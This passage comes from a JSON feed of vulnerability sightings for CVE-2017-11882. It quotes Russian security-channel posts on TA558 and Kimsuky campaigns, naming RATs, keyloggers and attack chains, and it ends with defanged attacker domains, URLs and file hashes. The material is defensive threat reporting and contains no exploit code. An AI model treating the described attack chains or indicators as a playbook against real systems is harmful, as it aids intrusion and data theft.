Scanner;\n\u23faPutty;\n\u23faCertipy.\n\n\u0414\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442 SMB_RAT (SMB_RAT v4.1_prod), \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 Python, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0438 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n\u041d\u0430\u0445\u043e\u0434\u044f\u0441\u044c \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u0436\u0435\u0440\u0442\u0432\u044b, \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0441\u043a\u0440\u044b\u0442\u043d\u043e, \u043c\u0438\u043c\u0438\u043a\u0440\u0438\u0440\u0443\u044f \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u0443\u044e \u0434\u043b\u044f \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041a\u043e\u043c\u0430\u043d\u0434\u0430 RT Protect SOC \u0443\u0436\u0435 \u043d\u0435 \u0432 \u043f\u0435\u0440\u0432\u044b\u0439 \u0440\u0430\u0437 \u0441\u0442\u0430\u043b\u043a\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u0441 \u0434\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439, \u0438 \u0433\u043e\u0442\u043e\u0432\u0430 \u043a \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u0438\u044e \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0430\u0442\u0430\u043a!\n\n#\u041f\u0440\u043e\u0444\u0438\u043b\u044c\u041f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430", "creation_timestamp": "2026-07-18T00:00:30.918504Z"}, {"uuid": "7a90e62a-e567-4c2f-a013-7172025984f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/rtinfobez/200", "content": "\u2709\ufe0f \u041c\u0430\u0441\u0441\u043e\u0432\u0430\u044f \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430: 76 000 \u043f\u0438\u0441\u0435\u043c \u0437\u0430 \u0441\u0443\u0442\u043a\u0438\n\n27 \u044f\u043d\u0432\u0430\u0440\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 TA558 \u043f\u0440\u043e\u0432\u0435\u043b\u0430 \u043e\u0434\u043d\u0443 \u0438\u0437 \u043a\u0440\u0443\u043f\u043d\u0435\u0439\u0448\u0438\u0445 \u0430\u0442\u0430\u043a \u2014 \u0431\u043e\u043b\u0435\u0435 76 \u0442\u044b\u0441\u044f\u0447 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c \u0431\u044b\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 112 \u0441\u0442\u0440\u0430\u043d. \u0412 \u0437\u043e\u043d\u0435 \u0440\u0438\u0441\u043a\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0435 \u0432 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u043c, \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u043c, \u0441\u0442\u0440\u043e\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u043a\u0442\u043e\u0440\u0430\u0445.\n\n\u041a\u0430\u043a \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0430\n\u0424\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882. \u041f\u0440\u0438 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0438\u0439 HTA-\u0444\u0430\u0439\u043b \u0441 VBS-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c. \u042d\u0442\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u043b \u0438 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043b Remcos RAT \u2013 \u0441\u043b\u043e\u0436\u043d\u043e\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u041a\u0442\u043e \u0442\u0430\u043a\u0438\u0435 TA558?\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 2018 \u0433\u043e\u0434\u0430 \u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445 \u0441 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438. \u0413\u043b\u0430\u0432\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u2014 \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439.\n\n\u26a0\ufe0f \u042d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u0420\u0422-\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442: \u0444\u0438\u0448\u0438\u043d\u0433 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0451\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0432\u0437\u043b\u043e\u043c\u0430. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 RT Protect Awareness, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043e\u0441\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u0432 \u0441\u0444\u0435\u0440\u0435 \u0418\u0411.\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-18T00:00:31.092395Z"}, {"uuid": "6a094748-e2e7-4a5c-86c3-71e54f061434", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/rtinfobez/298", "content": "\u0421\u0442\u0430\u0440\u044b\u0435 \u0431\u0430\u0433\u0438 \u2014 \u043d\u043e\u0432\u044b\u0435 \u0431\u0435\u0434\u044b\n\n\u0421\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 Kimsuky \u0432\u0435\u0440\u043d\u0443\u043b\u0430\u0441\u044c \u0432 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u2014 \u043d\u0430 \u044d\u0442\u043e\u0442 \u0440\u0430\u0437 \u0441 \u043d\u043e\u0432\u043e\u0439 \u0432\u043e\u043b\u043d\u043e\u0439 \u0430\u0442\u0430\u043a, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u0431\u044b\u0442\u044c.\n\n\u0427\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438?\n\ud83d\udcceCVE-2019-0708 (BlueKeep) \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 RDP, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE). \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0435\u0449\u0451 \u0432 2019 \u0433\u043e\u0434\u0443.\n\ud83d\udcceCVE-2017-11882 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0443\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0439 \u0438\u0437 \u043f\u0430\u043a\u0435\u0442\u0430 Microsoft Office, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u0430\u044f \u0441 \u043e\u0448\u0438\u0431\u043a\u043e\u0439 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0441 \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u043c\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 (RCE) \u0438 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0431\u0435\u0437 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442\n\u0410\u0442\u0430\u043a\u0430 \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u043f\u043e \u043f\u0440\u043e\u0441\u0442\u043e\u0439, \u043d\u043e \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u0435:\n\ud83d\udfe1 \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c RDP.\n\ud83d\udfe1 \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2019-0708. \u0415\u0441\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e \u043d\u0430 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044e \u0441 \u0446\u0435\u043b\u044c\u044e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2017-11882. \n\ud83d\udfe1 \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0435 \u041f\u041e MySpy \u0438 \u0443\u0442\u0438\u043b\u0438\u0442\u0430 RDPWrap, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0434\u043b\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043f\u043e RDP.\n\ud83d\udfe1 \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u043e\u0439, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442 \u043a\u0435\u0439\u043b\u043e\u0433\u0435\u0440\u0440\u044b KimaLogger \u0438\u043b\u0438 RandomQuery \u0434\u043b\u044f \u0441\u0431\u043e\u0440\u0430 \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041a\u0442\u043e \u043f\u043e\u0434 \u043f\u0440\u0438\u0446\u0435\u043b\u043e\u043c?\n\u042e\u0436\u043d\u0430\u044f \u041a\u043e\u0440\u0435\u044f \u2014 \u0432 \u044d\u043f\u0438\u0446\u0435\u043d\u0442\u0440\u0435. \u041f\u043e\u0434 \u0443\u0434\u0430\u0440\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0441\u0444\u0435\u0440 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0438, \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432 \u0438 IT.\n\u0422\u0430\u043a\u0436\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0430\u0442\u0430\u043a\u0438 \u0432 \u042f\u043f\u043e\u043d\u0438\u0438, \u0421\u0428\u0410, \u041a\u0438\u0442\u0430\u0435 \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u0438.\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c?\n\ud83d\udd10\u0417\u0430\u043a\u0440\u043e\u0439\u0442\u0435 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u043f\u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0443 RDP\n\ud83d\udd10\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 VPN \u0441 \u043c\u043d\u043e\u0433\u043e\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439\n\ud83d\udd10\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0449\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\ud83d\udd10\u041d\u0435 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0439\u0442\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u043e\u0442 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u0435\u0439\n\ud83d\udd10\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0435 RT Protect EDR, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0430\u043d\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e\n\n\u0418\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 IOC\n\nmd5:\n1177fecd07e3ad608c745c81225e4544\n14caab369a364f4dd5f58a7bbca34da6\n184a4f3f00ca40d10790270a20019bb4\n30bcac6815ba2375bef3daf22ff28698\n46cd19c3dac997bfa1a90028a28b5045\n\nURL:\nhttp[:]//star7[.]kro[.]kr/login/help/show[.]php?_Dom=991\nhttp[:]//star7[.]kro[.]kr/login/img/show[.]php?uDt=177\nhttp[:]//www[.]sign[.]in[.]mogovernts[.]kro[.]kr/rebin/include[.]php?_sys=7\n\nDomain:\naccess-apollo-page[.]r-e[.]kr\naccess-apollo-star7[.]kro[.]kr\naccess-mogovernts[.]kro[.]kr\napollo-page[.]r-e[.]kr\napollo-star7[.]kro[.]kr\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-18T00:00:31.635456Z"}, {"uuid": "ef2d1508-248c-4db4-99e0-05332960d57e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "published-proof-of-concept", "source": "Telegram/FLdwEq6Id8YCRLT6-BTnUIccpf3DA_mOnlB4rDSecoKdqdpj", "content": "", "creation_timestamp": "2026-07-18T00:00:37.019151Z"}, {"uuid": "ffc93042-43d3-41b8-9d9a-887e23f8dd67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/true_secator/8547", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043f\u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2026 \u0433\u043e\u0434\u0430.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 CVE \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u043e \u0431\u0435\u0441\u043f\u0440\u0435\u0446\u0435\u0434\u0435\u043d\u0442\u043d\u043e\u0433\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043f\u043e \u0447\u0430\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445.\n\n\u042d\u0442\u043e \u0441\u0432\u044f\u0437\u0430\u043d\u043e \u0441 \u043f\u043e\u0432\u0441\u0435\u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435\u043c \u0418\u0418 \u043a\u0430\u043a \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u0446\u0435\u043b\u044b\u0435 \u043a\u043b\u0430\u0441\u0441\u044b \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Linux.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u0438 \u0447\u0430\u0449\u0435 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b \u043a \u043d\u0435\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c. \u041f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0440\u0435\u0437\u043e\u043d\u0430\u043d\u0441, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u044e\u0442 \u0434\u043b\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c 